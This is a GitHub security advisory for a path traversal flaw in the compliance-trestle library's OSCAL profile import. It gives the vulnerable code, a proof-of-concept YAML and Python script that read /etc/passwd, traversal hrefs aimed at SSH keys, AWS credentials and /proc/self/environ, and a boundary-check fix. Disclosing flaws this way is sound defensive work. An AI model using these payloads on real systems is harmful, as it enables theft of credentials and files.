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compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal

Moderate severity GitHub Reviewed Published May 27, 2026 in oscal-compass/compliance-trestle

Package

pip compliance-trestle (pip)

Affected versions

>= 4.0.0, <= 4.0.2
< 3.12.2

Patched versions

4.0.3
3.12.2

Description

Summary

The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.

Three attack vectors confirmed:

  1. PT-001: trestle://../../etc/passwd — via trestle:// URI scheme
  2. PT-002: ../../etc/passwd — via relative path in href
  3. PT-003: back_matter rlinks with traversal paths

Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.

Affected Component

Repository: https://github.com/IBM/compliance-trestle
File: trestle/core/remote/cache.py (lines 175-179)
File: trestle/core/resolver/_import.py (line 104)
Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:175-179 — LocalFetcher (trestle:// URI handling)

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ NO boundary check — .resolve() follows ../
            # ❌ NO is_relative_to() validation
            # ❌ Result can be /etc/passwd
            self._cached_object_path = self._abs_path
            return

cache.py:194 — LocalFetcher (relative path handling)

        # For relative paths (no trestle:// or file:// prefix):
        try:
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ Same issue — resolves relative to CWD with no boundary check
        except Exception:
            raise TrestleError(...)

_import.py:73-104 — Profile import href resolution

class Import(Pipeline.Filter):
    def __init__(self, ...):
        # Line 73-83: back_matter rlinks used directly
        if self._import.href[0] == '#':
            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
            self._import.href = [
                rlink.href  # ❌ rlink.href from OSCAL data — user-controlled
                for rlink in resource.rlinks
                if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
            ][0]

        # Line 104: href passed directly to FetcherFactory
        fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)

Root Cause:

  1. Path(trestle_root / "../../etc/passwd").resolve() = /etc/passwd
  2. No is_relative_to(trestle_root) check after resolve
  3. TRESTLE_HREF_REGEX defined at const.py:253 but NEVER enforced (dead code)
  4. Even if enforced, the regex '^trestle://[^/]' would PASS traversal payloads (. is [^/])

Steps to Reproduce

Prerequisites

pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

# malicious_profile.yaml
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
    - href: "trestle://../../../../../../etc/passwd"

PoC: Direct LocalFetcher Exploit

#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile

trestle_root = Path(tempfile.mkdtemp())

# Normal usage — stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}")  # /tmp/xxx/catalogs/test/catalog.json

# Exploit — escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil:   {evil._abs_path}")    # /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bash

Expected: Path traversal blocked with error
Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully

Remediation

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()

            # ✅ ADD: Boundary check
            if not self._abs_path.is_relative_to(self._trestle_root):
                raise TrestleError(
                    f"Path traversal blocked: resolved path '{self._abs_path}' "
                    f"is outside trestle root '{self._trestle_root}'"
                )

            self._cached_object_path = self._abs_path
            return

Same fix needed for relative path handling at line 194.

Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).

Resources

Impact

  1. Credential Theft via OSCAL Import:

    imports:
      - href: "trestle://../../root/.aws/credentials"
      - href: "trestle://../../root/.ssh/id_rsa"
  2. System Reconnaissance:

    imports:
      - href: "trestle://../../etc/passwd"
      - href: "trestle://../../proc/self/environ"
  3. Supply Chain Attack:
    Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.

  4. Dead Code Evidence:
    TRESTLE_HREF_REGEX defined at const.py:253 but never enforced anywhere — proves path validation was INTENDED but never implemented.

References

Published to the GitHub Advisory Database May 28, 2026
Reviewed May 28, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(20th percentile)

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-45774

GHSA ID

GHSA-mj4x-vf5c-5xg8

Credits

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